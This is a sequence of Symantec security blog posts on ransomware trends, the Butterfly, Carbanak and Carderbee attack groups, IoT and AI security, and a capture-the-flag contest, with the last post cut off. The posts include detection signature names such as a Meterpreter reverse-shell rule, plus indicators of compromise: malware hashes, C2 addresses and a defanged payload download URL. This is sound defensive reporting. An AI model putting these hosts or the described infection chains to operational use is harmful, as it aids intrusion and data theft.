45.153.243.93 – Bumblebee C&C
Protection
Symantec Endpoint Protection (SEP) protects against ransomware attacks using multiple static and dynamic technologies.
AV-Protection
Backdoor.Cobalt!gm1
Backdoor.Cobalt!gm5
Ransom.Quantum
Ransom.Quantum!gm1
Trojan Horse
Trojan.Bumblebee
Trojan.Bumblebee!g1
Trojan.Gen.2
Trojan.Gen.9
Trojan.Gen.MBT
Behavior Protection
SONAR.SuspLoad!g12
SONAR.Module!gen3
SONAR.WMIC!gen13
SONAR.WMIC!gen10
SONAR.RansomGen!gen1
SONAR.Ransomware!g13
SONAR.RansomQuantm!g1
SONAR.Dropper
SONAR.Ransomware!g1
SONAR.Ransomware!g3
SONAR.Ransomware!g7
Intrusion Prevention System Protection
28589: Attack: Meterpreter Reverse HTTPS
System Infected: Trojan.Backdoor Activity 373
32721: Audit: ADFind Tool Activity
For the latest protection updates, please visit the Symantec Protection Bulletin.
|
Businesses most at risk from new breed of ransomware
The ransomware landscape has shifted dramatically in 2017 and organizations bore the brunt of the damage caused by new, self-propagating threats such as WannaCry and Petya.
While ransomware has long been one of the main cyber threats to businesses, the past number of months have seen organizations more exposed than ever. Symantec’s latest research paper on ransomware has found that businesses were the main victims of the WannaCry and Petya outbreaks, with corporate networks the ideal breeding ground for this new generation of self-propagating threats.
Our research found that overall ransomware infection numbers have continued to trend upwards. During the first six months of 2017, Symantec blocked just over 319,000 ransomware infections. If this infection rate continued for the full year, 2017 would be a significant increase over 2016, when a total of 470,000 infections were blocked. Contributing to this increase was a spike in blocked infections during May and June 2017, the months when the WannaCry and Petya outbreaks occurred.
Figure 1. Ransomware infections by month, January 2016 to June 2017
"Ransomware attacks trending upwards in first half of 2017, driven by #WannaCry and #Petya"
CLICK TO TWEET
WannaCry and Petya: New threats emerge
This year saw the arrival of a new generation of self-propagating ransomware. WannaCry, which was the first to appear, caused global panic due to its ability to spread itself across the networks of infected organizations and then spread to other organizations across the internet. Petya mimicked some of the techniques employed by WannaCry to spread itself across networks.
What enabled WannaCry to spread so quickly was that its developers had incorporated the leaked “EternalBlue” exploit into its code. An exploit of a vulnerability in the Windows implementation of the Server Message Block (SMB) protocol (CVE-2017-0144), it had been patched two months earlier, but there were still enough unpatched computers online for WannaCry to spread quickly. EternalBlue allowed WannaCry to act like a worm, spreading itself to other unpatched computers on the local network and across the internet by scanning random IP addresses in an attempt to find other vulnerable computers.
Six weeks later, a new variant of Petya adopted similar tactics, using EternalBlue as a propagation mechanism, but also incorporating other SMB network spreading techniques, which meant it could spread within organizations to computers that had been patched against EternalBlue. Another difference from WannaCry was that Petya was far more targeted, configured to mainly affect organizations in Ukraine, although other organizations in other countries were also affected.
Organizations in the crosshairs
The impact of WannaCry and Petya makes it quite likely that more attackers will attempt to replicate the tactics used by deploying ransomware as a worm. The propagation mechanisms employed by both ransomware families enabled the threats to spread quickly across an entire computer network. Many consumer computers are not connected to a network, unlike those found in organizations.
While WannaCry and Petya also did have the ability to spread across the internet to other vulnerable computers, this means of transmission again largely affected other organizations. Most home internet routers would have blocked infection attempts involving the EternalBlue exploit.
WannaCry and Petya’s disproportionate impact on organizations can be seen in infection statistics. During 2015 and 2016, businesses accounted for between 29 and 30 percent of ransomware infections. That figure shot up to 42 percent in the first half of 2017, with a major spike in business infections during May and June, the months WannaCry and Petya spread.
Figure 2. Consumer vs enterprise ransomware infections by month
"During first 6 months of 2017 businesses accounted for 42% of all #ransomware infections"
CLICK TO TWEET
Organizations need to prepare themselves for the threat posed by self-propagating ransomware. The Petya outbreak demonstrated that even without EternalBlue, attackers can create worm-like ransomware that is capable of spreading across a network. While it does require more skill and the use of additional tools, such as credential stealers, the potential rewards are much greater.
Ransom demands stabilize
During the first six months of 2017, the average ransom demand seen in new ransomware families was US$544. This follows on from a period of rapid inflation in ransom demands. During 2016, the average ransom demand seen in new ransomware families increased dramatically, rising more than threefold from $294 to $1,077.
Figure 3. Average ransom amount in U.S. dollars, by year
This could suggest that after a period of trial-and-error in 2016, many attackers have settled on a ransom demand of around $500 as the “sweet spot” for ransom demands. While this may not sound like a major loss for an organization, most ransom demands are for a single infected computer. If an organization finds itself with tens or hundreds of infected computers, the price demanded by attackers will quickly add up.
Now is the time to bolster defenses
WannaCry and Petya proved that ransomware is not a predictable threat and organizations who are complacent may be caught out. Building a multi-layered defense ensures that any point of failure is mitigated by other defensive practices.
This should include not only regularly patching vulnerabilities and ensuring critical systems are backed up, but also employing multiple, overlapping, and mutually supportive defensive systems to guard against single-point failures in any specific technology or protection method.
Tips for businesses and consumers
New ransomware variants appear on a regular basis. Always keep your security software up to date to protect yourself against them.
Keep your operating system and other software updated. Software updates will frequently include patches for newly discovered security vulnerabilities that could be exploited by ransomware attackers, such as EternalBlue.
Email is one of the main infection methods. Delete any suspicious-looking email you receive, especially if they contain links and/or attachments.
Be extremely wary of any Microsoft Office email attachment that advises you to enable macros to view its content. Unless you are absolutely sure that this is a genuine email from a trusted source, do not enable macros and instead immediately delete the email.
Backing up important data is the single most effective way of combating ransomware infection. Attackers have leverage over their victims by encrypting valuable files and leaving them inaccessible. If the victim has backup copies, they can restore their files once the infection has been cleaned up.
Protection
Adopting a multi-layered approach to security minimizes the chance of infection. Symantec has a comprehensive strategy that protects against ransomware in three stages.
Prevent: Email security, Intrusion Prevention, Download Insight, Browser Protection, Proactive Exploit Protection (PEP).
Contain: Advanced signature-based antivirus engine with machine learning heuristic technologies, including SONAR and Sapient.
Respond: Dedicated Incident Response team to help organizations respond and recover from a ransomware attack.
Find out more
For an in-depth look at the threat posed by ransomware and to learn more about Symantec’s ransomware protection strategy please see our whitepaper: Ransomware 2017: An ISTR special report
|
Butterfly: Profiting from high-level corporate attacks
Group operates at a much higher level than the average cybercrime gang.
Note: “Morpho” was used in the original publication to refer to this attack group. Symantec has renamed the group “Butterfly” to avoid any link whatsoever to other legitimate corporate entities named “Morpho”
A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks.
Butterfly is technically proficient and well resourced. The group has developed a suite of custom malware tools capable of attacking both Windows and Apple computers, and appears to have used at least one zero-day vulnerability in its attacks. It keeps a low profile and maintains good operational security. After successfully compromising a target organization, it cleans up after itself before moving on to its next target.
This group operates at a much higher level than the average cybercrime gang. It is not interested in stealing credit card details or customer databases and is instead focused on high-level corporate information. Butterfly may be selling this information to the highest bidder or may be operating as hackers for hire. Stolen information could also be used for insider-trading purposes.
A history of ambitious attacks
The first signs of Butterfly’s activities emerged in early 2013 when several major technology and internet firms were compromised. Twitter, Facebook, Apple and Microsoft disclosed that they had been compromised by very similar attacks. The attackers attacked victims by compromising a website used by mobile developers and using a Java zero-day exploit to infect them with malware.
The malware used in these attacks was a Mac OS X back door known as OSX.Pintsized. Subsequent analysis by security researcher Eric Romang identified a Windows back door, Backdoor.Jiripbot, which was also used in the attacks.
Following this flurry of publicity, the Butterfly group slipped back into the shadows. However, an investigation by Symantec has found that the group has been active since at least March 2012 and its attacks have not only continued to the present day, but have also increased in number. Symantec has to date discovered 49 different organizations in more than 20 countries that have been attacked by Butterfly. Over time, a picture has emerged of a cybercrime gang systematically targeting large corporations in order to steal confidential data.
Figure 1. Top regions impacted by the Butterfly attack group
Multiple sectors targeted
Aside from the four companies which have publicly acknowledged attacks, Symantec has identified five other large technology firms compromised by Butterfly, primarily headquartered in the US. However, technology is not the only sector the group has focused on and Symantec has found evidence that Butterfly has attacked three major European pharmaceutical firms. In the first attack, the attackers gained a foothold by first attacking a small European office belonging to one firm and using this infection to then move on to its US office and European headquarters. This template appeared to be followed in the two subsequent attacks on big pharma firms, with Butterfly compromising computers in a number of regional offices before being discovered.
Butterfly has also shown an interest in the commodities sector, attacking two major companies involved in gold and oil in late 2014. In addition to this, the Central Asian offices of a global law firm were compromised in June 2015. The company specializes in finance and natural resources specific to that region. The latter was one of at least three law firms the group has targeted over the past three years.
Figure 2. Timeline showing when attacks against different industry sectors began
Stolen information
Butterfly appears to have a good working knowledge of the organizations it is attacking and is focused on stealing specific kinds of information. In many attacks, the group has succeeded in compromising Microsoft Exchange or Lotus Domino email servers in order to intercept company emails and possibly use them to send counterfeit emails.
The group has also attacked enterprise content management systems, which would often be home to legal and policy documents, financial records, product descriptions, and training documents.
In some instances, the group has zoned in on specialist systems. For example, one attack saw it gain access to a Physical Security Information Management (PSIM) system, which is used for managing and monitoring physical security systems, including swipe card access. This could have provided the attackers with access to CCTV feeds, allowing them to track the movement of people around buildings.
Suite of custom malware tools
Butterfly has a number of malware tools at its disposal, all of which appear to be internally developed. Each tool is well documented, indicating that a group rather than an individual is responsible for the attacks.
Its primary tools are two back door Trojans. OSX.Pintsized is capable of opening a back door on Mac OS X computers. Its Windows counterpart is Backdoor.Jiripbot, which has shown signs of continuous development over the past two years, with various minor features being removed or added.
Butterfly has also developed a number of its own hacking tools. Hacktool.Securetunnel is a modified version of OpenSSH which contains additional code to pass a command-and-control (C&C) server address and port to a compromised computer.
Hacktool.Bannerjack is meanwhile used to retrieve default messages issued by Telnet, HTTP, and generic Transmission Control Protocol (TCP) servers. Symantec believes it is used to locate any potentially vulnerable servers on the local network, likely including printers, routers, HTTP servers, and any other generic TCP server. Butterfly uses Hacktool.Multipurpose to help it move across a compromised networking by editing event logs to hide activity, dumping passwords, securely deleting files, encrypting files, and carrying out basic network enumeration.
The group uses Hacktool.Eventlog to parse event logs, dumping out ones of interest, and delete entries. It also kills processes and performs a secure self-delete. Hacktool.Proxy.A is used to create a proxy connection that allows attackers to route traffic through an intermediary node, onto their destination node.
Motivated by financial gain
Based on the profile of the victims and the type of information targeted by the attackers, Symantec believes that Butterfly is financially motivated, stealing information it can potentially profit from. The group appears to be agnostic about the nationality of its targets, leading us to believe that Butterfly is unaffiliated to any nation state.
The group’s malware is documented in fluent English, indicating that some of the group members, if not all, can speak the language. They also display some knowledge of English-speaking pop culture, such as using the meme AYBABTU (All your base are belong to us) as an encryption key in Backdoor.Jiripbot.
Command-and-control server activity is highest at times that correspond to the US working day, which may suggest some or all of the group are operating in this region. However, this could also be accounted for by the fact that many of the group’s victims are located in the US.
Butterfly may profit from its attacks in a number of ways. The group may be operating as “hackers for hire”, targeting corporations on request. Alternatively, it may select its own targets and either sell stolen information to the highest bidder or use it for insider-trading purposes.
Butterfly is a disciplined, technically capable group with a high level of operational security. Having managed to increase its level of activity over the past three years while maintaining a low profile, the group poses a threat that ought to be taken seriously by corporations.
Protection
Symantec and Norton products have the following protections against the Butterfly toolset:
Antivirus
OSX.Pintsized
Backdoor.Jiripbot
Hacktool.Multipurpose
Hacktool.Securetunnel
Hacktool.Eventlog
Hacktool.Bannerjack
Hacktool.Proxy.A
Intrusion prevention system
System Infected: Backdoor.Jiripbot DGA Activity
System Infected: Backdoor.Jripbot Activity
Further reading
For detailed technical analysis and indicators of compromise, please read our whitepaper: Butterfly: Corporate spies out for financial gain
|
Buyer Beware: IoT Security is in Your Hands
Installing any number of smart appliances without adequate regard for security and you risk inviting the unwanted attention of a host of hackers
When it comes to security, owning a smart device requires smart buyers. Now, more than ever before.
Symantec’s 2018 Internet Security Threat Report recently pointed out a 600% increase in attacks against smart devices in the last year. Those all-caps findings underscored the danger of failing to adequately consider the security implications of installing smart devices in homes and offices. The problem is that many customers are assuming they’re protected when they are at risk.
The failure to do the necessary homework essentially issues an open-door invitation for an attacker to plant malware, commit fraud, or commit identity theft using private information.
“Today, users have to take responsibility to make sure a smart device is securely configured,” said Bruce McCorkendale, VP, Technology at Symantec. “Most devices are not secure out of the box. It is important for a user to know the vulnerabilities of each smart device purchased. Then the user can decide to patch the vulnerabilities, if possible, or buy a device from a different vendor.”
McCorkendale said users can educate themselves about the risks posed by smart devices by consulting sites such as Shodan.io and the Common Vulnerabilities and Exposures (CVE). Shodan.io features an automatically generated list of devices that have been discovered on the Internet. With the CVE database, you can look up vulnerability information on a device. Using both sites, users can check whether their devices are visible to the Internet. They also can learn about any security holes that need to be patched and then take the necessary action.
Routers are the IoT devices that suffer the highest volume of attacks. Because routers are the gateway for smart devices to connect with the Internet, compromising a router means gaining access to every unsecure device that uses it.
Unfortunately, there are no state secrets here and cyber criminals also make use of Shodan.io and CVE to finds devices that are online and discover the vulnerabilities they can exploit by connecting to the device. Indeed, plans for a US Air Force drone were reportedly put up for sale on the dark web after hackers found vulnerabilities in the routers used by the military on Shodan.io.
Unfortunately, the solutions for securing IoT devices are as varied as the devices themselves.
The recommended recourse for users is to buy devices that are known to have security built in and that sit on frameworks that are also secure. Look for vendors that have frameworks which use certificate pinning – allowing only HTTPS-related certificates it expects to see before connecting to anything in the framework. Yet zero-day attacks still can happen and, as seen on the Shodan.io and CVE sites, the list of high-volume vulnerabilities constantly increases.
McCorkendale believes the answers to IoT security lie in Manufacture Usage Description (MUD) and secure routers like Norton Core. Manufacture Usage Description is an open source “nutrition label” for IoT devices. If a device has the MUD specifications employed then the device can be limited to the specific functions for which it’s built. A person’s refrigerator, for example, can be limited to storing a grocery list that is sent to the user’s smart phone each week instead of listening to a conversation where a credit card number is spoken aloud and reports it back to a hacker.
Routers are the IoT devices that suffer the highest volume of attacks. Because routers are the gateway for smart devices to connect with the Internet, compromising a router means gaining access to every unsecure device that uses it. The VPNFilter malware on routers is a recent example of how insidious these attacks can be. The primary purpose of the VPNFilter is to keep the router accessible to any malware that a hacker wants to pass through it, and it can survive a reboot. The threat to routers is so pronounced that Symantec decided it had to offer a secure router solution.
"The VPNFilter attack shows that other routers are a huge part of the problem," said McCorkendale. "We set out to show what it takes not to be part of the problem. In Norton Core there is no web interface, no services listening, no default password – it is only manageable via the cloud and its app – and there are no services with default credentials.”
For the foreseeable future, IoT security is likely to remain a work in progress. Manufacturers are only now learning the need for security. But that provides little help to the millions of customers around the world who have already installed unprotected devices. That puts the onus on consumers to manage their way through these badlands, assuming they have the technical expertise to do the legwork to keep their devices secure.
If you found this information useful, you may also enjoy:
Norton Product Protection
|
Can Cognitive Tools Succeed Where Humans Have Failed?
Security field sees major boon coming thanks to advances in AI, machine learning, and advanced behavioral analytics
Here’s a fact: Current IT protection and prevention don't even come close to addressing all the cyber threats that corporations, governments, and utilities face every single day. We put a defense in place and trust that it will sniff out a breach and, when one takes place, mitigate the damage a malicious intruder can inflict.
But with millions of lines of code running on some organization’s systems, and with sometimes hundreds of workers in an organization opening and closing files and clicking through untold web sites, chances for a break-in are astronomical.
According to German IT security research institute AV-Test GmbH, 121.6 million new malware programs were discovered last year. The overall total this year stands at 839.2 million, with 11 million new programs discovered just last month.
“Human analysis is very limited. We quickly get overwhelmed,” says Leyla Bilge, a member of the Symantec Research Labs whose team studies the future use of artificial intelligence in blocking attacks. “AI on the other hand can handle millions of calculations in a second. It can identify malicious activity that humans miss.”
The good news is that advances in AI, machine learning, and advanced behavioral analytics may change the equation in security’s favor.
These cognitive tools are being deployed to scan and catalogue millions of known malware files in order to identify similarities that can help it identify new risks, so-called zero-day malware, before they happen. Trained algorithms are learning the signature characteristics of hackers themselves to stop their illicit entry into systems. And algorithms are learning the behavior of in-house users to help detect an intruder.
All of these tools leverage AI’s signature strengths. It can be taught to recognize millions of facts, identify visual patterns, and make decisions. In the case of anticipating new malware files, engineers can teach AI to recognize known characteristics of previous malware files, such as size, content, and coding. When a user clicks on a suspect file, the AI can then instantaneously compare it to its database of malicious code and create an alert if it detects a threat.
The Search for “True Intelligence”
But such smart layers face two dumb problems. They can slow the in-house work flow and they’re not always right. They can create false positives, identifying harmless files as threats. And if you’re a big organization, facing hundreds of threats a day, the resulting logjam from looking into each new one can overwhelm your staff.
And then there’s the problem of bad code versus bad actors. A large enterprise with its own proprietary software could be running tens of millions of lines of code. And that code, constantly revised and edited by in-house code writers, could be as flawed as the humans creating it. By some estimates, new software programs can launch with up to as much as 40 percent of useless or defective coding.
And current iterations of AI are notoriously easy to either trick or confuse, says Bilge. For instance, an artificial intelligence can be taught to recognize a cat from a dog after it is fed hundreds of images of cats and dogs. “But if even one pixel is out of place,” says Bilge, ‘it gets confused. That’s does happen to a human.”
That’s where machine learning—where the software doesn’t need to be fed data but instead uses statistical techniques to go looking for it and learning from it— comes in. Automated learning is the goal of advanced behavioral analytics. Companies have used behavioral analytics for decades to learn about consumer behavior and trends and baseline statistics to help market products and even tailor their offerings to a particular demographic or even a single customer.
By applying statistical learning to an enterprise’s three main areas of security concern—the network, the user, and the enterprises assets—the software can identify baseline behaviors and sniff out anomalies in any, or all three, areas. For instance, the AI can learn how often an asset like a file or program is used, by whom in the company and how often, and what devices it communicates with. As anomalies are flagged and looked into, the system reinforces its own learning.
Automated learning is the goal of advanced behavioral analytics.
But even that learning, says Bilge, does not come close to true intelligence because computers are (so far) incapable of actual reasoning or intuition.
“AI is very powerful in some areas, like image detection or signal processing,” says Bilge. “But in the security domain it is still very weak.” And that’s because we don’t even truly know how the human brain works.
“That’s one of the problems that we must solve,” says Bilge. “We don’t know how intuition and reasoning forms. We can forecast how AI will work in the future, but things advance way further than what we can now understand. It will be something we can’t imagine.”
And while most hackers are not very sophisticated, some few are, says Bilge, and are likely trying to tackle the AI problem themselves, and turn it into their own weapon. But most, she says, are just looking for vulnerabilities in a system. And those are far too easy to find, thanks to plain old (and fallible) human thinking.
When Bilge’s team was recently tasked with looking for flaws in the infrastructure at a major electrical utility, and particularly at their protocol ID anomalies, they didn’t have to look far.
“They were using a password like 123456 and everyone had it both inside and outside the utility,” she says. “Most place are already insecure like that. You don’t need super-sophisticated malware to get in.”
And in cases like that, you don’t need a machine brain to stop them either.
|
Capture the Flag for Hackers at Black Hat
Symantec runs this annual game to learn from some of the best minds in the cyber security industry
The rules of the game are simple: there are no rules other than don’t attack certain management systems. Otherwise, the proverbial gloves are encouraged to come off. Files labeled as flags are hidden in systems that are running Symantec Endpoint Protection (SEP). This year at Black Hat, twenty participants from five organizations did all they could to capture a flag and win the five thousand dollar grand prize. The great reward, though, is learning from these contestants who attack with their true-to-the-real-world exploits and file-less attacks meant to subvert SEP in ways the engineers of Symantec may not expect.
2018 is the eighth year Symantec has run Capture the Flag at Black Hat. Most of the contestants have participated before so they do all they can to up their game when they reenlist. To make things interesting, Colin Gibbens, the Symantec man behind the curtain for Capture the Flag, upped the stakes this year by employing deceptors, known as canaries, on the systems. “Canaries are placed on systems as honeypots waiting for someone to access them. They give the hackers false information like bogus usernames and passwords or fake IP’s that are then monitored to see if someone tries to use the information,” explained Colin.
Colin had fifteen systems running this year that were a mixture between Linux and Windows. Some of the Windows systems were protected with SEP 14 with Endpoint App Isolation and Deception enabled, and the others had no endpoint protection installed. Symantec's EDR solution monitored what the hackers were doing. One of the hackers used Eternal Blue (an NSA-developed exploit that was part of the worldwide WannaCry ransomware attack) to compromise one of the unprotected systems. Another analyst initiated an Eternal Blue attack on a SEP protected systems and was consistently blocked.
To make things interesting, Colin Gibbens, the Symantec man behind the curtain for Capture the Flag, upped the stakes this year by employing deceptors, known as canaries, on the systems.
While on an unprotected system, one hacker ran Mimikatz to dump credentials he found that were common to the systems run in the game. From the EDR console, Colin was able to detect the use of this dual-use tool. With the credentials in hand, the hacker started to login to the accounts. Some of the accounts were active and some Colin had disabled. Once the hacker was on the unprotected system, he started using the credentials to try to move laterally in the environment using a combination of Remote Desktop and System Message Block protocols. Colin was able to detect this using Symantec EDR. The hacker got on one of the systems that had the deception files on it. He accessed the files on the system and Colin was able to see that he had obtained them using Symantec EDR. When the attacker dumped memory, he got Colin’s Domain Admin account and was able to get on one of the systems that held some of the prize flags. Colin had the prize flags locked down with Hardening. He and the other participants were trying everything in their arsenal to get to the prize files but were not able to access them.
Another participant was using Kali Linux and exploiting the unprotected systems to initiate a reverse shell. He was not able to do this with any of the SEP protected systems. He started rooting the system trying to find anything and everything. Colin had created some deceptors on that system, and deleted them. The analyst discovered these baits and started using the fake user accounts that Colin had placed in them to log in to the other systems. Colin was able to detect the lateral attempts with EDR once again. On the only SEP protected system accessed, the analyst tried to dump the credentials again but was blocked. With Symantec EDR, Colin could see the attacker moving around on the endpoint and launching commands. Colin ended up isolating the system from the network, which ended his attempts to compromise the system further.
In the end, all of the participants go home with a number of prizes for discovering other secondary flags that Colin plants for sport and fun. The incentive to bring their A game is taken seriously by those who enlist to capture the flag in a SEP system, so Colin and Symantec makes sure their efforts are rewarded. Though no one has won the grand prize in eight years, the competition inspires great feats in coding exploits that gives Symantec the kind of engagement and learning from white hat hackers that it can use against the black hat hackers out in the world – a unique feat of learning from the good guys while having fun.
If you found this information useful, you may also enjoy:
Find Symantec at the Incident Response Consortium
|
Carbanak cybercrime gang focuses on banks rather than their customers
Gang has stolen millions from up to 100 banks and other financial institutions in multiple countries.
Symantec has been tracking the activities of the Carbanak cybercrime group for some time and our customers are protected against the malware used by this group. Carbanak, which has been the subject of media reports over the past 24 hours, is an atypical financial crime group, focused on defrauding banks rather than their customers.
Symantec calls the group Silicon, but other vendors refer to it as Carbanak or Anunak. The main piece of malware that has recently been used by the group is Trojan.Carberp.B, which contains code borrowed from the older Trojan.Carberp. The group is believed to have targeted up to 100 banks and other financial institutions in multiple countries. The exact amount stolen by the Carbanak group is unknown, but estimates range from tens of millions of US dollars up to $1 billion.
Carbanak is a skilled group of attackers, capable of gaining a foothold on the networks of targeted banks through malware hidden in spear-phishing emails. Once inside, the group patiently and stealthily moves across the network of a bank, gathering intelligence and compromising enough computers until it has the resources and intelligence to launch a successful attack.
Carbanak has employed two main tactics to cash out. In some cases, it has transferred funds to accounts controlled by the attackers and operated by money mules. In other instances, it has compromised ATMs, hijacking them in order to dispense funds to people working for the group.
Carbanak is not the first group to target ATMs. For example, research by Symantec found that attackers using Backdoor.Ploutus.B were able to compromise ATMs and empty them of cash by simply sending an SMS to the ATM.
Financial institutions have been fighting malware for more than ten years, and the financial industry was the most attacked sector with 29 percent of all spear-phishing attacks in January 2015. Attackers who are motivated by financial reward quickly adapt to countermeasures, and many security implementations are ineffective at protecting against advanced attacks. It’s imperative that organizations implement layered security measures to protect against today’s advanced threats and educate employees about security policies and best practices.
Protection
Symantec and Norton products have the following detections in place against the malware used by the Carbanak group.
Antivirus
Trojan.Carberp
Trojan.Carberp.B
Trojan.Carberp.B!gm
Trojan.Carberp.C
Intrusion prevention system
Trojan Carberp Activity
Trojan Carberp Activity 2
Trojan Carberp Activity 3
Trojan Carberp Activity 4
Trojan.Carberp.C Activity
Trojan.Carberp.C Activity 2
Advice for businesses and consumers
Symantec advises users to be careful when dealing with suspicious emails and to avoid clicking on suspicious links or opening suspicious attachments. It’s also important to keep all software, including security software, up-to-date.
|
Carderbee: APT Group use Legit Software in Supply Chain Attack Targeting Orgs in Hong Kong
This isn’t the first time Cobra DocGuard has been exploited by malicious actors.
12.20pm BST, 22 August 2023: Updated with additional IoCs
A previously unknown advanced persistent threat (APT) group used the legitimate Cobra DocGuard software to carry out a supply chain attack with the goal of deploying the Korplug backdoor (aka PlugX) onto victim computers.
In the course of this attack, the attackers used malware signed with a legitimate Microsoft certificate. Most of the victims in this campaign are based in Hong Kong, with some victims based in other regions of Asia.
Korplug is known to be used by multiple APT groups, but we could not link this activity to a known threat actor so we have given the actor behind this activity a new name — Carderbee.
Cobra DocGuard and Previous Activity
Cobra DocGuard Client is software produced by a China-based company called EsafeNet and appears to legitimately be used to protect, encrypt, and decrypt software. EsafeNet is owned by Chinese information security firm NSFOCUS.
According to a report from ESET, in September 2022, a malicious update to this software was used to compromise a gambling company in Hong Kong. The same gambling company had been compromised in September 2021 using the same technique by Budworm (aka LuckyMouse, APT27), which led ESET to attribute this September 2022 attack to Budworm too. In that attack, a new variant of the Korplug malware was also found. In that instance, it used the magic header “ESET”, indicating that it may have been modified to try to bypass ESET products.
A signed version of Korplug was also used in the activity investigated by the Symantec Threat Hunter Team, part of Broadcom. This activity began in April 2023. However, we did not find any other evidence to indicate that this attack was carried out by Budworm. Korplug is a backdoor that is known to be used by multiple APTs, including APT41 and Budworm. We do not have any indication of the industry sectors of the companies targeted in this recent activity, just their geographic location.
Accordingly, it was not possible to link this activity definitively to a known group, which is why we attributed it to a new group, Carderbee.
Attack Chain
Malicious activity was seen on about 100 computers in impacted organizations; however, the Cobra DocGuard software was installed on around 2,000 computers, indicating that the attacker may be selectively pushing payloads to specific victims.
The malicious software was delivered to the following location on infected computers, which is what indicates that a supply chain attack or malicious configuration involving Cobra DocGuard is how the attackers compromised affected computers:
"csidl_system_drive\program files\esafenet\cobra docguard client\update"
Over a period of a few months in 2023, multiple distinct malware families were observed being deployed via this method. In one interesting case, a downloader deployed by the attackers had a digitally signed certificate from Microsoft, called Microsoft Windows Hardware Compatibility Publisher. This downloader was used to install the Korplug backdoor on targeted systems. The downloader attempted to download a file named update.zip from the following location: http://cdn.stream-amazon[.]com/update.zip.
The update.zip file is a zlib compressed archive file. It decompresses and executes a file named content.dll. This file is not saved on disk. It acts as a dropper and contains x64 and x86 drivers, which are dropped depending on the system environment. The dropper creates services and registry entries. The dropped drivers read encrypted data from the registry, decrypt it, and inject it into svchost.exe. The injected payload is the Korplug backdoor.
The Korplug sample downloaded here is able to:
Execute commands via cmd
Enumerate files
Check running processes
Download files
Open firewall ports
Act as a keylogger
Microsoft Certificate Abuse
Use of Microsoft-signed malware is a known problem. In December 2022, Mandiant noted a POORTRY driver sample signed with a Microsoft Windows Hardware Compatibility Authenticode signature. Most recently, in July 2023, Trend said that it had found a Microsoft-signed rootkit that appeared to have passed through the Windows Hardware Quality Labs (WHQL) process for getting a valid signature. Microsoft acknowledged the issue and said that drivers certified by Microsoft’s Windows Hardware Developer Program (MWHDP) were being used maliciously in post-exploitation activity.
The company said it had investigated the issue and “determined that the activity was limited to the abuse of several developer program accounts and that no Microsoft account compromise has been identified.” Malware signed with what appears to be a legitimate certificate can make it much harder for security software to detect.
Supply Chain Attack and Certificate Abuse
It seems clear that the attackers behind this activity are patient and skilled actors. They leverage both a supply chain attack and signed malware to carry out their activity in an attempt to stay under the radar. The fact that they appear to only deploy their payload on a handful of the computers they gain access to also points to a certain amount of planning and reconnaissance on behalf of the attackers behind this activity. Software supply chain attacks remain a major issue for organizations in all sectors, with multiple high-profile supply chain attacks occurring in the last 12 months, including the MOVEit, X_Trader, and 3CX attacks.
Some unanswered questions remain about the activity of Carderbee, such as what sectors the group was targeting with this activity, and whether there are any links between Carderbee and other actors such as Budworm.
Symantec researchers will continue to track this activity, and we share indicators of compromise below so our colleagues in the security community can do so as well.
Protection
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA256 file hashes:
96170614bbd02223dc79cec12afb6b11004c8edb8f3de91f78a6fc54d0844622
19a6a404605be964ab87905d59402e2890460709a1d9038c66b3fbeedc1a2343
1ff7b55dde007b7909f43dd47692f7c171caa2897d663eb9db01001062b1fe9d
2400d8e66c652f4f8a13c99a5ffb67cb5c0510144b30e93122b1809b58614936
2f714aaf9e3e3e03e8168fe5e22ba6d8c1b04cbfa3d37ff389e9f1568a80cad4
47b660bbaacb2a602640b5e2c589a3adc620a0bfc9f0ecfb8d813a803d7b75e2
5467e163621698b38c2ba82372bac110cea4121d7c1cec096958a4d9eaa44be7
7e6d0f14302662f52e4379eb5b69a3749d8597e8f61266aeda74611258972a3d
85fc7628c5c7190f25da7a2c7ee16fc2ad581e1b0b07ba4ac33cff4c6e94c8af
8bd40da84c8fa5f6f8e058ae7e36e1023aca1b9a9c8379704934a077080da76f
8ca135b2f4df6a714b56c1a47ac5baa80a11c6a4fcc1d84a047d77da1628f53f
9e96f70ce312f2638a99cfbd3820e85798c0103c7dc06fe0182523e3bf1e2805
9fc49d9f4b922112c2bafe3f1181de6540d94f901b823e11c008f6d1b2de218c
b5159f8ae16deda7aa5d55100a0eac6e5dacd1f6502689b543513a742353d1ea
b7b8ea25786f8e82aabe4a4385c6142d9afe03f090d1433d0dc6d4d6ccc27510
b84f68ab098ce43f9cb363d0a20a2267e7130078d3d2d8408bfb32bbca95ca37
f64267decaa982c63185d92e028f52c31c036e85b2731a6e0bccdb8f7b646e97
Remote IP addresses:
45.76.179[.]209
104.238.151[.]104
URLs:
http://111.231.100[.]228:8888/CDGServer3/UpgradeService2
http://103.151.28[.]11:8090/CDGServer3/UpgradeService2
Domains:
cdn.stream-amazon[.]com
cdn.ofo[.]ac
gobay[.]info
tjj.active-microsoft[.]com
githubassets.akamaixed[.]net
ms-g9-sites-prod-cdn.akamaixed[.]net
ms-f7-sites-prod-cdn.akamaixed[.]net
|
Case Study: The Dangerous Journey of a Fake WhatsApp App on OneDrive
Symantec recently discovered a new kind of malicious Android file hosted on a OneDrive account. Here’s what we learned and how you can take countermeasures
Over the last few years there has been a tremendous uptick in the creation and delivery of malicious Android apps for delivering malware, stealing confidential data, distributing spam advertisements for profit, and abusing mobile resources.
We recently encountered a different malicious Android file hosted on a OneDrive account. The Android file was named, “Gb whatsapp techmity.com hack.apk” i.e. “Fake WhatsApp”.
During the course of in-house research and intelligence collection activities, Symantec researchers discovered that Microsoft OneDrive was being used to distribute a “Fake WhatsApp” APK file.
Figure : Android “Fake WhatsApp” APK File Link Hosted on OneDrive
When the shared link on OneDrive was clicked, the user was prompted to download the ”Fake WhatsApp” Android package. Figure 2 shows a download of the “Fake WhatsApp” Android application.
Figure 2: Fake WhatsApp Android Application
Let’s see what happens when the shared link was clicked.
The HTTP request was redirected by OneDrive to the LiveFileStore URL via a “Location” header. This shows that the Android application is not hosted directly on the OneDrive storage platform. Rather, it was hosted on the LiveFileStore platform.
